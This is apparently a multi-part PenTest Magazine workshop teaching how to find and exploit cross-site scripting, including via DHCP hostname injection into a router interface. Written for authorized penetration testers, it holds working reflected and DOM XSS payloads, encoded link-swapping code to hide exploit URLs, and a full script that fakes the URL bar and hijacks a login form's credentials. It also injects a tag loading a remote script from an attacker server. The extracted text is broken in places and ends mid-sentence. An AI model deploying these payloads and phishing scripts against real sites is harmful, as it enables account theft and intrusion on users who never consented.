PenTest XSS
PenTest XSS
PenTest XSS
Contents
y the end of this workshop you will be able to detect and exploit XSS vulnerability, understand
the real risk behind this kind of of vulnerability and be able to impress your customers with
awesome Proof of Concept far beyond the classic pop-up.
Francesco Perna
WEEK 1
WEEK 2
WEEK 3
WEEK 4
Module I
n my experience most of the Customers tend to consider the Cross Site Scripting a minor
threat, especially when the vulnerabilities reside in the default pages. Often also the security
professionals consider this kind of attack only an item to fill the reports, losing sight of the
opportunities given by a successful exploitation of vulnerabilities that lead to XSS attacks. During
the workshop series I will show you, from pentesters point of view, how to take advantage of XSS
attacks in order to let your customer understand the real risk behind this kind of attack. In the first
module ofthe workshop series, I will cover the more theoretical aspects related to the basis of web
application security and XSS attacks.
Presentation tier: this tier represents the set of functionalities used to present the information to the
end-user. Elements of the attack surface for this layer are for example the HTML, the Javascript
code, the Java applet, the Flash applications, etc. Usually an attack to this layer targets the end
user and exploit the trust relationship among user and web application components. The classical
attack carried out through this layer is the Cross Site Scripting and the workshop will cover this
particular kind of attack;
Logic tier: this tier implements the business logic of the web application. Elements of the attack
surface for this layer are for example the functionalities that accepts user input that are poorly
implemented. The attacks to this layer targets the web application itself or the user data managed
by the web application through the vulnerable functionalities;
Data Tier: this tier often is the most important one because it keeps the data valuable for the
business. Elements of the attack surface for this layer are for example store procedures and
generally the functionalities implemented to store and retrieve the information. The attacks to this
layer targets the information managed by the web application.
Threat agents caught this opportunity moving their way to attack a company from sophisticated
network attacks to more reliable web attacks. One of the reasons that leads a threat agent to attack
aweb application, is that it offers multiple layers susceptible to several classes of attack.
The code used to perform an XSS attack is usually written using HTML/JavaScript but any other
browser-supported technology can serve the scope of a threat agent. The HTML tags commonly used
as vector for XSS attack are for example<script>,<img>and<iframe>but many others serve
the same purpose. Usually the attack payload is obfuscated, encrypted or encoded to make less
suspicious the malicious request. With the adoption of the HTML5 technology by more popular web
browsers, the number of attack vectors available to a threat agent in order to perform an XSS attack
has significantly increased, making XSS attacks even more dangerous [6].
In other words, if after an XSS you have the URL bar appearing like:
http://www.vulnco.com/myapp/default/p.php?p=<script>[xss payload goes here]</script>
using the window.history.replaceState() method, you can manipulate the URL to appear like:
http://www.vulnco.com/myapp/login.php
or whatever you are able to imagine. The only limitation using this interface is in the replacement
scope: you can change everything except the origin, the new URL must be of the same origin as the
current URL, obviously for security reasons.
The methods interface is the following:
window.history.replaceState(state object, title, URL);
state object: for PoC purpose this object could be a bogus value such as a string. If you are
interested in better understanding this object please refer to [7];
title: for PoC purpose this object could be a bogus value since Firefox ignores this parameter;
URL: the new URL to display on the URL bar.
USAGE EXAMPLE
HISTORY_STATE = ;
HISTORY_TITLE = ;
HISTORY_LOCATION = /myapp/login.php;
window.history.replaceState(HISTORY_STATE, HISTORY_TITLE, HISTORY_LOCATION);
The best way to trick a user into filling certain HTML form is to present it in a familiar way. Presenting
the same page the user is willing to click (i.e.: a page he knows, and he usually interacts with)
with some run-time modification is the best way to do that, in my opinion. This can be done using
the object XMLHttpRequest[8] and some string manipulation functionalities. XMLHttpRequest is a
JavaScript object used to retrieve data from an URL without having to do a full page refresh. This
object can be used to retrieve any type of data and supports a variety of protocols including http
and ftp. For PoC purpose you need to use a very few methods and events of the XMLHttpRequest
object. In order to use this object for PoC purpose first of all you have to set the properevent in order
to handle the actions on the retrieved data. This can be done setting the event onreadystatechange
with a javascript function. Then you have to initialize the object with the necessary information to
retrieve the data using the open() method and finally you can send the request using the send()
method.The methods interface is the following:
void open(DOMString method, DOMString url, optional boolean async, optional DOMString
user, optional DOMString password);
Regarding the strings manipulation functionalities, in JavaScript they are implemented by the String
object. The methods used during the PoC are basically the ones used to concatenate, replace pieces
of string with others, identify substrings and tokens inside a string. The methods interfaces well use
in the PoC are the following:
String string.concat(stringx, , stringz)[9]
stringx, , stringz: the strings to be joined
String string.replace(searchvalue,newvalue)[10]
search value: the value, or regular expression, that will be replaced by the new value;
newvalue: the value to replace the searchvalue with.
String string.substring(start,end)[11]
start: the position where to start the extraction. First character is at index 0;
end: the position where to end the extraction.
Number string.indexOf(searchvalue,start)[12]
searchvalue: the string to search for;
start: at which position to start the search (optional parameter)
During an XSS attack you may have to access and rewrite the DOM content using the DOM interface.
Its possible to do that using the following functions
NodeList document.getElementsByTagName(tagname)[13]
tagname: the tagname of the elements you want to get.
Element document.getElementById(elementID)[14]
elementID: the ID attributes value of the element you want to get.
Element document.createElement(nodename)[15]
nodename: the name of the element you want to create.
Node node.appendChild(node)[16]
node: the node object you want to append.
Node document.removeChild(node)[17]
node: node object you want to remove.
USAGE EXAMPLE TO REPLACE BODY CONTENT
var h3Section = document.createElement(h3);
var bodySection = document.getElementsByTagName(body)[0];
h3Section.innerHTML = Loading ;
bodySection.parentNode.removeChild(bodySection);
document.body = document.createElement(body);
document.body.appendChild(h3Section);
NOTE
You can write the content inside the document also by using the RAW functionality exposed by the
function document.write(). I will going deeper into this topic during the next modules.
Sometimes you also need to encode the attack payload in order to avoid the character escaping
issues and to try to evade anti-xss filters. Javascript provides this functionality through the
unescape() function. This function was deprecated from Javascript 1.5 and was replaced with
decodeURI() or decodeURIComponent(), anyway we can use it since the browser supports it.
Another way to achieve the same results is through the use of the function String.fromCharCode().
String unescape(string)[18]
string: the string to be decoded
String String.fromCharCode(charx, , charz)[19]
charx, , charz:one or more Unicode values to be converted
USAGE EXAMPLE
value = unescape(%3c%73%63%70%74%3e); value = String.fromCharCode(88, 83, 83);
Conclusions
The first module gives you the basics to understand and exploit the vulnerabilities that leads to XSS
attacks. In the next modules i will show you how to put everything together in order to exploit a real
life vulnerability with a PoC that goes far beyond the classic alert() popup window.
References
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/96.html
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://blogs.apache.org/infra/entry/apache_org_04_09_2010
https://html5sec.org/
https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history
https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest
http://www.w3schools.com/jsref/jsref_concat_string.asp
http://www.w3schools.com/jsref/jsref_replace.asp
http://www.w3schools.com/jsref/jsref_substring.asp
http://www.w3schools.com/jsref/jsref_indexof.asp
http://www.w3schools.com/jsref/met_document_getelementsbytagname.asp
http://www.w3schools.com/jsref/met_document_getelementbyid.asp
http://www.w3schools.com/jsref/met_document_createelement.asp
http://www.w3schools.com/jsref/met_node_appendchild.asp
http://www.w3schools.com/jsref/met_node_removechild.asp
http://www.w3schools.com/jsref/jsref_unescape.asp
http://www.w3schools.com/jsref/jsref_fromcharcode.asp
Module II
n the first module of this workshop series I have introduced the key concepts of the XSS attacks,
in this module I am going to illustrate how to detect and exploit the vulnerabilities behind this kind
of attacks and how to make a Proof of Concept that can make your customers understand the
risks they are exposed to. During the workshop I will show how to use the burp suite and other tools
in order to detect and exploit the vulnerabilities. Feel free to use the tools you know best in order
toapply these techniques during your work.
Once you have configured the web browser you have to configure the Burp! suite. The default settings
should be ok and the proxy configuration tab should appear as shown in Figure 2.
10
Figure 2.
If the Burp! suite proxy module does not appear as shown in Figure 2 you have to configure it by
adding an entry or by modifying an existing entry. If you dont have any entry, you can use the add
button to add one and then the module will appear. Figure 3 shows how to add a new proxy listener.
Ifyou already have one or more entries, select an entry to edit and configure it as shown above.
Once the proxy has been set up you have to enable the interception mode to start interception
ofrequests made by the web browser. Figure 4 shows how to enable the interception mode.
11
Now you are ready to start with the web application security analysis. The classes of XSS attacks
Iwant to illustrate in this paragraph, are the ones based on GET and POST requests. I am going
to use a vulnerable web application provided by Acunetix [3] in order to test the web application
scanner and to show the discussed techniques. First we have to map the web application in order
todiscover the insertion points; i.e. where the application expects input from the end user. To do
thatjust send a request to the web site root node using the web browser, and send it to the spider
asshown in Figure5. Note: The first time you launch the web application spider tool on a URL using
the Burp Suite, a pop up will warn you that your targets list does not contain the URL sent and it asks
you if you want to add it to the targets list, do not panic and click ok.
Once the spider has finished his work you can check the results in the site-map. By selecting the site
name in the left pane, you will see in the right pane all the detected pages with the relevant details
including the HTTP method used to invoke the web page and the parameters used during the page
invocations. The site-map should look like the Figure 6.
12
The sitemap should be carefully analyzed and we should test all the scripts that accept input
parameters in order to spot the vulnerabilities that can lead to xss attacks. In order to demonstrate
how to detect a vulnerability accessible through HTTP GET requests I am going to analyze the script
/listproducts.php. As shown in the site-map, one of the parameters accepted by the script is named
artist; by manipulating this parameter we may be well able to inject arbitrary HTML\Script in the
resulting page. Burp! suite offers several different ways to manipulate a request. In this case I am
going to show you how to use the repeater tool to manipulate a request coming from a sitemap entry.
Figure 7 shows how to invoke the repeater starting from a sitemap entry.
Using the standard configuration of the repeater tool window, on the left side you have the request
you want to manipulate and on the right side you have the server response. The view arrangement
could be different but the labels Request and Response should help you to figure out what is
going on your Burp! suite. To test whether the page is vulnerable or not, I usually inject an arbitrary
string containing html characters (eg. angle brackets), for example the string <pentestmag>. By
supplying the string <pentestmag> as a value for the artist parameter, we expect to find the pattern
inside the server response in case of a vulnerable page. The request should look like the following:
GET /listproducts.php?artist=<pentestmag> HTTP/1.1Host: testphp.vulnweb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
13
Referer: http://testphp.vulnweb.com/artists.php?artist=1
Figure 8 shows how to manipulate, and send, the request to the server.
By repeating the modified request as shown before you should be able to see the unmodified payload
in the response page as shown below:
<div id=content>
Error: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near =<script>alert(pentestmag);</
script> at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/
var/www/listproducts.php on line 74
</div>
You have just spotted a vulnerability that lead to reflected (non persistent) xss attacks. The basic PoC
of the vulnerability that everyone can figure out can be done by just pointing your web browser to the
specially crafted URL (you can check the request with the Burp! proxy) http://testphp.vulnweb.
com/listproducts.php?artist=<script>alert(pentestmag);</script> and by observing the
injected javascript code being executed. Figure 9 shows the javascript code executed by the web browser.
14
Video 1 shows the whole process. The above example relies upon an http request made with the GET
method. Obviously you can also spot this kind of vulnerability if the requests are made with POST
method using the same detection process. Assume we want to test the PHP script named comment.
php accessible from the page artists.php. This time Im going to show you how to modify a request
from the proxy interface. First of all ensure that the interception mode of the proxy is enabled,
then just fill the form and observe the request in the proxy window. Figure 10 shows the web page
rendered in the browser and Figure 11 shows the intercepted request in the proxy window. As you
can see, once the request is submitted through the repeater, you can see a message like Francesco,
thank you for your comment. is displayed on the resulting page. So, in this case we can focus on the
parameter name and check whether the page is vulnerable or not.
15
Also this time, by supplying the string <pentestmag> as a value for the name parameter in the
repeated request, we expect to find the pattern inside the server response in case of a vulnerable
page. The request should look like the following:
POST /comment.php HTTP/1.1Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://testphp.vulnweb.com/comment.php?aid=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
name=<pentestmag>&comment=Nice artist!&Submit=Submit&phpaction=echo+%24_
POST%5Bcomment%5D%3B
As shown for the first class of vulnerability, by repeating the request and by injecting a javascript
expression like <script>alert(pentestmag);</script>, we can check whether we are able to execute
arbitrary code. This time the request should look like the following:
POST /comment.php HTTP/1.1Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en;q=0.5,en-us;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://testphp.vulnweb.com/comment.php?aid=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
name=<pentestmag>&comment=Nice artist!&Submit=Submit&phpaction=echo+%24_
POST%5Bcomment%5D%3B
You should be able to see the unmodified payload in the response page as shown below
<body>
<p class=story><script>alert(pentestmag);</script>, thank you for your comment.</
p><p class=story><i></p></i></body>
As shown in the resulting page, we spotted another vulnerability. By repeating the request directly from
the web browser we can have the casting out nines. Figure 14, shows the code executed in the browser.
16
A brief note, some of you may have noticed that the code is injected also inside the page title but
isnot executed by the web browser. Try to figure out by yourself how to get the code executed also
inthe first injection point too.
document.referrer;
Window Name
window.name;
Some common sink[6] useful when dealing with vulnerabilities that lead to DOM-XSS are the following:
17
Execution Sink
location, location.href:
As stated before, the detection process starts by searching a candidate source that allows a DOMXSS attack. By digging in the javascript code I came across the following lines of code in the
javascript file named post.js:
117 var hrf=window.location.href.toLowerCase();
118 if (hrf !=http://www.facebook.com/)
119 document.write(<div class=fb-comments data-num-posts=4 data-width=470
data-href=+window.location.href+></div>)
120
At line 117 you can see a candidate source, window.location.href which returns the URL of the current
page. The user supplied data is assigned without any form of validation and encoding to the variable
hrf just to check, at line 118, if the current URL is not http://www.facebook.com. If we pass this
check, then at line 119 we meet our sink point.
Following the debugger configuration, we have to insert an URL, for example http://testhtml5.
vulnweb.com/?<pentestmag> and watch what happens at runtime. Figure 16 shows the DOM
property window.location.href once the breakpoint has been caught. As you can see the property
value is http://testhtml5.vulnweb.com/?%3Cpentestmag%3E and it does not look good due to the
encoding used.
18
So, our input is not shown the way we expected. Lets try to inject the usual ><script> alert(1);
</script>. Note the leading quotation marks and the bracket as they serve to close the <div> tag at
the beginning, just before our <script> tag. Figure 18 shows the results of the javascript execution.
In Figure 17 you can see the result of javascript execution.
What goes wrong? Nothing, Firefox encodes all the requests so this kind of vulnerability can not be
exploited on the Firefox web browser.
Does this mean that the code is not vulnerable? Absolutely not.
In fact, when the same code is evaluated by another web browser, things may very well be different.
By accessing this URL http://testhtml5.vulnweb.com/?><script>alert(1);</script> using Internet
Explorer, youre going to effectively see that we were able to inject, and execute, arbitrary code.
Figure19, shows the code executed in the browser.
19
DOM XSS are pretty nasty and they are not always easy to detect. In real life you have to deal with
encoded or minified version of javascript. In addition to your skill, a good scanner can help you spot
this kind of vulnerabilities.
Note that the image is embedded, so the mail client will not annoy the user telling that for security
reasons the remote content will not be shown.
The second tip regards the web pages on the site that hosts the xss exploit. If a link contains
directly the exploit string, the user would notice it just by hovering with the mouse on it. Figure 19
shows what happen with a link that embeds directly the exploit string.
To avoid this you can take advantage of DOM and javascript properties: in brief you can make a link
appear in a way and once the click event is fired you can change the link destination. The following
code does the magic.
20
1 <html>
2 <head><title>Pentest Magazine</title></head>
3 <body>
4 <script>
5 function gotoUrl(elementId){
6 var xssVector = unescape(%68%74%74%70%3a%2f%2f%74%65%73%74%70%68%70%2e%76
%75%6c%6e%77%65%62%2e%63%6f%6d
%2f%6c%69%73%74%70%72%6f%64%75%63%74%73%2e%70%68%70%3f%61%72%74%69%73%74%3d%3c%73%63%
72%69%70%74%3e%61%6c%65%72%74%28%27%70%65%6e%74%65%73%74%6d%61%67%27%29%3b%3c%2f%73%
63%72%69%70%74%3e);
7 var elementA = document.getElementById(elementId);
8 elementA.removeAttribute(href);
9 elementA.setAttribute(href, xssVector);
10 }
11 </script>
12
13 <a id=link1 href=http://testphp.vulnweb.com onclick=javascript:gotoUrl(link1);
>Click Me</a>
14 </body>
15 </html>
Instead of the classic link format it is possible to change the link behaviour through the javascript
function named gotoUrl(). The function takes as argument the element id of the link and simply
replaces the href attribute stated in the html tag declaration with the content of the variable named
xssVector. The content of the variable xssVector is the string http://testphp.vulnweb.com/
listproducts.php?artist=<script>alert(pentestmag);</script>, our attack payload used in the first
example I showed. In this case the string was encoded just to take it easy and avoid the special
characters escaping. The above example is designed to issue GET request. If the XSS resides inside
a POST request the same example would need some modifications although the basic concept
21
By following these basic tips, in addition to some pretty graphics layout (possibly alike the one used
in the vulnerable website), you will probably trick most of the users victim of your attack during
apenetration test.
Now we have to write the code responsible for the page modification, the first thing we have to care
of is the URL bar behavior as if a user sees strange strings in it could suspect that he has fallen
victim of an attack. The URL bar modification could be achieved using the function window.history.
replaceState() in the following way:
var HIST_STATE = login page;
var HIST_LOCATION = /login.php;
As a result of this operation the URL bar will change from what (before the history window.history.
replaceState() is executed) to what (after the history window.history.replaceState() is
executed).
The following step is needed to clear the page content. This operation is necessary in case of high
network latency. Without this operation the user will be able to see that a web page is not properly
formatted because of the injection. Briefly, this code will remove the whole content of the body and will
replace it with a new body and the message Page is loading .To change the web page aspect you
can use the following code:
22
As result of this operation the page content will change from to what is shown in Figure 21.
Finally it is time to replace the content. Since Im a lazy boy. Im going to show you a technique that
will surely work on firefox (it should be tested on other browsers but Im sure that it does not work on
Internet Explorer), and that it is capable to replace the whole page in one shot. To replace the page
content the script will issue an XMLHttpRequest, once the page is loaded in background the content
is replaced by using the functions document.open(), document.write() and document.close().
In order to modify the page behaviour, the script, before writing the page using the above functions,
makes some manipulation of the resulting html using the strings manipulation functions to insert the
arbitrary script and to modify the form action. The code responsible for this is the following:
1 var TARGET_URL = /login.php;
2 var xmlHttpRequest = null;
3
4 var scriptContent =
5 <script type=text/javascript>function doHttpPost(){ +
6 var form=document.getElementById(\user-login-form\);+
7 alert(\username=\+ form.elements[0].value+\+
8 &password=\+form.elements[1].value);+
9 return false;}</script>;
10
11 function fillPage(){
12 if ((xmlHttpRequest.readyState == 4) && (xmlHttpRequest.status == 200)) {
13
14 var oldAction = action=userinfo.php;
15 var newAction = id=user-login-form action=# onsubmit=return
doHttpPost();;
16 var splitmarker = </head>;
17 var originalPage = xmlHttpRequest.responseText;
18 var beforeInjection = originalPage.substring(0, originalPage.
indexOf(splitmarker));
19 var afterInjection = originalPage.substring(originalPage.
indexOf(splitmarker));
20 var pageResult = beforeInjection + scriptContent + afterInjection;
21 pageResult = pageResult.replace(oldAction, newAction);
22
23 document.open();
24 document.write(pageResult);
25 document.close();
26 }
27 }
28
29 try {
30 xmlHttpRequest = new XMLHttpRequest();
31 } catch (e) {
32 alert(XMLHttpRequest not available :();
33 }
34
35 xmlHttpRequest.onreadystatechange = fillPage;
36 xmlHttpRequest.open(GET, TARGET_URL);
37 xmlHttpRequest.send(null);
23
Some clarifications about the script: after the object instantiation, from line 29 to 33, we set an
handler for the onreadystatechange event, at line 35. After the request is sent, at line 37, using the
GET method on the target page defined at line 36, the javascript will start to hit our handler function.
Oncethe page is fully downloaded (xmlHttpRequest.readyState = 2 and xmlHttpRequest.
Workshop | PenTest Magazine
occurs inside the fillPage() handler. The original html undergoes two fundamental changes: the first
change regards the script injection, using the substring functions, at lines 18, 19, with the marker
defined at line 16, the downloaded html content is modified with the insertion of the script, defined
atline 4. At line 20 you can see the result of the operation. the second change regards the form
action. At line 21 the original action, the one defined at line 14 is substituted with the new action,
which allows the execution of the arbitrary script once the form is submitted, as defined at line 15.
After the changes are made the page is rendered to the user from line 23 to line 25. in this PoC
thescript will popup the supplied credentials once the form is submitted. By putting this all together,
the final script is the following:
1 var HIST_STATE = login page;
2 var HIST_LOCATION = /login.php;
3 var TARGET_URL = /login.php;
4
5 var scriptContent =
6 <script type=text/javascript>function doHttpPost(){ +
7 var form=document.getElementById(\user-login-form\);+
8 alert(\username=\+ form.elements[0].value+\+
9 &password=\+form.elements[1].value);+
10 return false;}</script>;
11
12 var xmlHttpRequest = null;
13
14 function fillPage(){
15 if ((xmlHttpRequest.readyState == 4) && (xmlHttpRequest.status == 200)) {
16
17 var oldAction = action=userinfo.php;
18 var newAction = id=user-login-form action=# onsubmit=return
doHttpPost();;
19 var splitmarker = </head>;
20 var originalPage = xmlHttpRequest.responseText;
21 var beforeInjection = originalPage.substring(0, originalPage.
indexOf(splitmarker));
22 var afterInjection = originalPage.substring(originalPage.
indexOf(splitmarker));
23 var pageResult = beforeInjection + scriptContent + afterInjection;
24 pageResult = pageResult.replace(oldAction, newAction);
25
26 document.open();
27 document.write(pageResult);
28 document.close();
29 }
30 }
31
32 window.history.replaceState(HIST_STATE, HIST_STATE, HIST_LOCATION);
33
34 var h3Section = document.createElement(h3);
35 var bodySection = document.getElementsByTagName(body)[0];
36
37 h3Section.innerHTML = Page is loading ;
38 bodySection.parentNode.removeChild(bodySection);
39 document.body = document.createElement(body);
40 document.body.appendChild(h3Section);
41
42 try {
43 xmlHttpRequest = new XMLHttpRequest();
44 } catch (e) {
45 alert(XMLHttpRequest not available :();
46 }
47
24
Conclusions
In this module I have shown you how to detect and exploit the vulnerability that lead to XSS attacks.
During a penetration test you have to adapt these techniques against your scenario in order to
successfully exploit the vulnerabilities. In the next modules I will show you how to detect and exploit
vulnerabilities through protocols different from http.
References
1.
2.
3.
4.
5.
6.
https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project
http://portswigger.net/burp/
http://testphp.vulnweb.com/
http://testhtml5.vulnweb.com
https://code.google.com/p/domxsswiki/wiki/Sources
https://code.google.com/p/domxsswiki/wiki/Sinks
25
Module III
n the second module of this workshop series I have showed how to detect and exploit the
vulnerabilities that lead to the XSS attacks over the HTTP protocol, in this module I am going
toillustrate how to detect and exploit the vulnerabilities behind this kind of attack over protocols
different from HTTP. During the workshop, I will show how to use the network protocol analyzer and
the packet manipulation software in order to detect and exploit the vulnerabilities. Feel free to use
thetools you know best in order to apply these techniques during your work.
26
27
Note: during the rest of the workshop, I assume you have not configured the capture filter (just
to show how the display filters work). Keep in mind that capture filters and display filters are two
differents things that come with two differents syntax.
If everything goes right, you should be able to see, as shown in Figure 3, the intercepted network
traffic through the wireshark graphical interface.
28
Since we are analyzing the dhcp protocol it could be useful to filter out all the unnecessary protocols
from the view. Wireshark offers a set of visualization filter designed for this purpose. To filter just the
dhcp requests and responses we will use the bootp display filter. You may be wondering why filter
the bootp instead of dhcp, the answer is easy: dhcp is a client/server protocol used to dynamically
assign IP-address parameters (amongst other things) to a dhcp client. It is implemented as an option
of bootp[6]. To supply this filter it is enough to write bootp in the filter bar on the top of the interface
and then press the Apply button. Obviously you can chain more condition in a filter: suppose you
want to filter the dhcp packets sent from your network interface, the filter would be something like
bootp and (eth.src == 08:00:27:04:80:8c) where 08:00:27:04:80:8c represents your network
interface mac address. Figure 4 shows how to setup the filter.
Once the display filters have been set it is time to issue a dhcp request to deeply analyze the content.
Under linux you can issue a dhcp request using the command dhclient. Since I am sniffing over the
interface eth1 I will issue the command dhclient eth1 as privileged user (root or using sudo/su-c).
Figure 5 shows the command issued and the network interface status before and after that the dhcp
has done his job.
29
Figure 5. Network interface status before and after the dhcp has done his job
If everything goes right your wireshark GUI should show, using the bootp visualization filter, 4 packets
related to the dhcp conversation:
PKT #167: The client issues a broadcast DHCP Discover, a message used to request IP address
information from a DHCP server. In each DHCP conversation this is the first message exchanged;
PKT #168: The server responds with a unicast DHCP Offer, a message containing an unleased IP
address and additional TCP/IP configuration information, such as the subnet mask and default
gateway.
PKT #169: Once the DHCP Offer has been received by the client, the client issues a broadcast
DHCP Request, a message that contains the offered IP address, and tells the server that the
offered IP address has been accepted;
PKT #172: Once the DHCP Rquest has been received, the server responds with a unicast DHCP
Ack, a message used to acknowledges the client request.
Figure 6 shows how the DHCP Conversation should appear in your wireshark GUI.
By analyzing the protocol flow, it is clear that the chance to inject code occurs if the data transmitted
by the client using the message type DHCP Request is not properly validated and encoded by the
web applications. It is time to drill down the packet in order to find an injectable field. As you can
see by navigating the protocol fields, the DHCP offers several options, one of which is particularly
interesting because it accepts input by the users, Im talking about the Host Name option. Quoting
the RFC 1533[7]: This option specifies the name of the client. The name may or may not be qualified
with the local domain name. The RFC RFC 1533 also specifies the following limitations to the charset
usable in the Host Name options:
Letters: any one of the 52 alphabetic characters A through Z in upper case and a through z
in lower case;
Digits: any one of the ten digits 0 through 9;
Special characters: the only allowed special character is the hyphen
30
The RFC specification does not allow us to use the characters we typically need to inject some
javascript code. If it was properly implemented we would not be able to use the hostname option to
carry the attack, but our job is to control what happens in a real-life implementation. Figure 7 shows
the DHCP option Host Name highlighted in the PKT #169.
In the case of complex network protocols, it could be convenient to forge the modified network
packets starting from a packet capture trace file (pcap): building a packet from scratch for a complex
protocol would require a lot of effort, even more to reconstruct an entire conversation in order to inject
the malicious payload; sometimes you could also have to deal with an unknown protocol and starting
from something that actually work is always a good idea. Just for completeness of the information,
Iwill show you how to do that but in the rest of the workshop we will build the network packets from
scratch. First of all you have to stop the packet capture, otherwise you will not be able to export
packets. Once the wireshark is idle you have to ensure that a display filter is properly set and that
it shows exactly the packets you want. When your visualization filter is ok you can use the Export
Specified Packet function to export the selected packets. Figure 8 shows how to export the selected
network packets. Later, once I have introduced scapy, I will show you how to load network packets
from a pcap file.
31
At this point, the protocol analysis is finished and we have clearly understood where to inject the
malicious code. Its time now to introduce the packet manipulation software used in this workshop:
scapy[8]. Scapy is an interactive packet manipulation framework that is able to craft or decode
network packets of a wide number of protocols. Scapy is quite powerful because it enables you to
build exactly the packets you want either by using it through the interactive Python interpreter or by
loading its libraries inside your own code. During the workshop I will explain only the functionalities
32
To send a packet over the network at Layer 2, scapy uses the function srp(). The following is the
function prototype with the workshops relevant options described.
srp(pkts, filter=None, iface=None, timeout=2, inter=0, verbose=None, chainCC=0, retry=0,
multi=0, iface hint=None)
33
As you can see from, line 19 to line 32, a discover loop is implemented. The loop sends a DHCP
Discover to broadcast until it receives an answer. Once the routine gets an answer, from line 34 to
line 35, that answer is parsed and the client hardware address is extracted. A DHCP Request routine
is implemented from line 40 to line 48 where the attack payload is written in the network packet.
34
Figure 9. Linksys WAG120N Management Interface
Now its time to send our request and see what happens on the web application. Figure 10 shows
the web interface state after the DHCP Request has been sent over the network. As you can see the
Client Host Name seems empty.
To be sure that the injection did not work we must check the page source. In fact, as you can see, the
injected code works like a charm, you have just spotted a vulnerability that lead to XPS attacks.
By slightly modifying the PoC we can also test if, through this vulnerability, we are able to inject
arbitrary code: substituting the payload at line 11 of the script with <script>alert(1);</script>
weshould be able to see a pop-up appearing once the client page is visited. Figure 12 shows
arbitrary code sent through the network. Figure 13 shows arbitrary code executed by visiting the
vulnerable web application page. Figure 14 shows exactly the expected arbitrary code injected inside
the generated web page.
35
As mentioned above it is possible to send packets with scapy just by modifying the packets stored
inside a pcap file. The following is the procedure to load a PCAP from the interactive command line:
# scapy
Welcome to Scapy (2.2.0)
1) Load the PCAP FILE
>>> bpacket = rdpcap(/root/PTMAGAZINE/dhcp-conversation.pcap);
>>> bpacket.summary
<bound method PacketList.summary of <dhcp-conversation.pcap: TCP:0 UDP:4 ICMP:0
Other:0>>
2) Find a request
>>> bpacket[0]
<Ether dst=ff:ff:ff:ff:ff:ff src=08:00:27:04:80:8c type=0800 |<IP version=4L ihl=5L
tos=010
36
37
38
submit.name = submit;
submit.value = SUBMIT_TEXT;
/* Putting all togheter */
divContainer.appendChild(divForm);
divForm.appendChild(divRowHeader);
divForm.appendChild(divRowBody);
divForm.appendChild(divRowFooter);
divRowHeader.appendChild(divCellHeader);
divCellHeader.appendChild(headerImg);
divRowBody.appendChild(divFormBodyCell);
divFormBodyCell.appendChild(userForm);
userForm.appendChild(formFieldset);
formFieldset.appendChild(fieldsetLegend);
formFieldset.appendChild(pUsername);
formFieldset.appendChild(pPassword);
formFieldset.appendChild(pPasswordC);
formFieldset.appendChild(pSubmit);
pUsername.appendChild(labelUser);
pUsername.appendChild(userName);
pPassword.appendChild(labelPassword);
pPassword.appendChild(password);
pPasswordC.appendChild(labelPasswordC);
pPasswordC.appendChild(passwordC);
pSubmit.appendChild(submit);
divRowFooter.appendChild(divCellFooter);
divCellFooter.appendChild(footerImg);
/* Display the page */
if (documentStyle.styleSheet){
documentStyle.styleSheet.cssText = DOCUMENT_CSS;
} else {
documentStyle.appendChild(document.createTextNode(DOCUMENT_CSS));
}
39
document.body = document.createElement(body);
document.head.innerHTML = HEADER_HTML;
document.head.appendChild(documentStyle);
document.body.appendChild(scriptSection);
document.body.appendChild(divContainer);
window.history.replaceState(HISTORY_STATE, HISTORY_STATE, HISTORY_LOCATION);
As you can see the script is nothing new, the page is built upon native DOM manipulation functions
mixed up with some css ripped from the router stylesheet and I have used the same techniques
introduced in the Module II to trick the users. The script above is stored on the root of my
webserver at the address http://192.168.1.101/xpsproto.js, so to instruct the server to download
this malicious script, the attack payload in the scapy script must be modified in the following way:
atkPayload=<script src=http://192.168.1.110/xpsproto.js></script>. Once the scapy
script has been launched again, the network traffic dump should look like the one shown in Figure 14.
If everything goes right, you should see the form. Looking at the generated page, shown in Figure
15, its immediately clear that unfortunately something goes wrong. By watching a little bit deep in the
